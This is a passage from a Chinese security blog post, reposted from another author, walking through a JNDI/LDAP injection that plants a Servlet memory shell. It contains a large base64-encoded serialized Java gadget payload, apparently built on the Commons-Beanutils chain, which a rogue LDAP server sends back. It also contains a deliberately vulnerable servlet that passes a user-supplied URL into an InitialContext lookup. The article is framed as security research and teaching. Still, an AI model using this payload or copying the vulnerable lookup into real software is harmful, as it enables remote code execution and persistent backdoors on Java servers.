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";
payloadBase64 = payloadBase64.replaceAll("\\s", "");
byte[] serializedData = Base64.decode(payloadBase64);
e.addAttribute("javaSerializedData", serializedData);
// 3. 发送查询结果
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Exception e1) {
e1.printStackTrace();
result.setResult(new LDAPResult(1, ResultCode.OTHER));
}
}
}
}
接着修改Spring项目中的正常Servlet,模仿存在LDAP注入漏洞的客户端。
package com.test;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
public class MyCustomServlet extends HttpServlet {
@Override
public void init() throws ServletException {
super.init();
System.out.println("MyCustomServlet init");
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setContentType("text/html;charset=UTF-8");
PrintWriter out = resp.getWriter();
out.println("<html><body>");
out.println("<h1>Hello from MyCustomServlet</h1>");
out.println("<p>Request URI: " + req.getRequestURI() + "</p>");
String ldapUrl = req.getParameter("ldapUrl");
if (ldapUrl != null && !ldapUrl.trim().isEmpty()) {
out.println("<h2>JNDI Lookup</h2>");
out.println("<p>LDAP URL: " + ldapUrl + "</p>");
try {
Context ctx = new InitialContext();
Object obj = ctx.lookup(ldapUrl);
out.println("<p>Lookup result: " + obj + "</p>");
} catch (Exception e) {
out.println("<p style='color:red;'>Lookup failed: " + e.getMessage() + "</p>");
e.printStackTrace();
}
} else {
out.println("<p>No ldapUrl parameter provided. Add ?ldapUrl=ldap://... to trigger JNDI lookup.</p>");
}
out.println("</body></html>");
out.flush();
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
@Override
public void destroy() {
super.destroy();
System.out.println("MyCustomServlet destroy");
}
}
启动整个项目,以及攻击者的LDAP服务器,通过访问如下地址触发ldap注入漏洞,该漏洞利用CB链将攻击者的Servlet写入StandardContext中。
通过事先指定的接口地址触发执行命令。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:十月的进阶之路 十月的进阶之路
十月的进阶之路《【代码审计】JNDI注入+Servlet内存马》